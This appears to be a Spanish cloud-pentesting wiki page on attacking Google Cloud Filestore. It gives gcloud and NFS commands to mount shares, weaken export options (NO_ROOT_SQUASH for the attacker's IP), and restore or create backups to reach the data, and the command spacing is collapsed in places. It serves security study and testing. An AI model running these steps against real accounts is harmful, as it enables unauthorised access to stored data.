Para obtener más información sobre Filestore, consulta:
Montar Filestore
Un sistema de archivos compartido puede contener información sensible interesante desde la perspectiva de un atacante. Con acceso a Filestore es posible montarlo:
sudoapt-getupdatesudoapt-getinstallnfs-common# Check the share nameshowmount-e<IP># Mount the sharemkdir/mnt/fssudomount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
Para encontrar la dirección IP de una instancia de filestore, consulte la sección de enumeración de la página:
Eliminar restricciones y obtener permisos adicionales
Si el atacante no se encuentra en una dirección IP con acceso sobre el recurso compartido, pero tiene suficientes permisos para modificarlo, es posible eliminar las restricciones o el acceso sobre él. También es posible otorgar más privilegios sobre su dirección IP para tener acceso de administrador sobre el recurso compartido:
gcloudfilestoreinstancesupdatenfstest \--zone=<exact-zone> \--flags-file=nfs.json# Contents of nfs.json{"--file-share":{"capacity":"1024","name":"<share-name>","nfs-export-options": [{"access-mode":"READ_WRITE","ip-ranges": ["<your-ip-private-address>/32"],"squash-mode":"NO_ROOT_SQUASH","anon_uid":1003,"anon_gid":1003}]}}
Restaurar una copia de seguridad
Si hay una copia de seguridad, es posible restaurarla en una instancia existente o en una nueva para que su información sea accesible:
# Create a new filestore if you don't want to modify the old onegcloudfilestoreinstancescreate<new-instance-name> \--zone=<zone> \--tier=STANDARD \--file-share=name=vol1,capacity=1TB \--network=name=default,reserved-ip-range=10.0.0.0/29# Restore a backups in a new instancegcloudfilestoreinstancesrestore<new-instance-name> \--zone=<zone> \--file-share=<instance-file-share-name> \--source-backup=<backup-name> \--source-backup-region=<backup-region># Follow the previous section commands to mount it
Crear una copia de seguridad y restaurarla
Si no tienes acceso a un recurso compartido y no quieres modificarlo, es posible crear una copia de seguridad y restaurarla como se mencionó anteriormente:
# Create share backupgcloudfilestorebackupscreate<back-name> \--region=<region> \--instance=<instance-name> \--instance-zone=<instance-zone> \--file-share=<share-name># Follow the previous section commands to restore it and mount it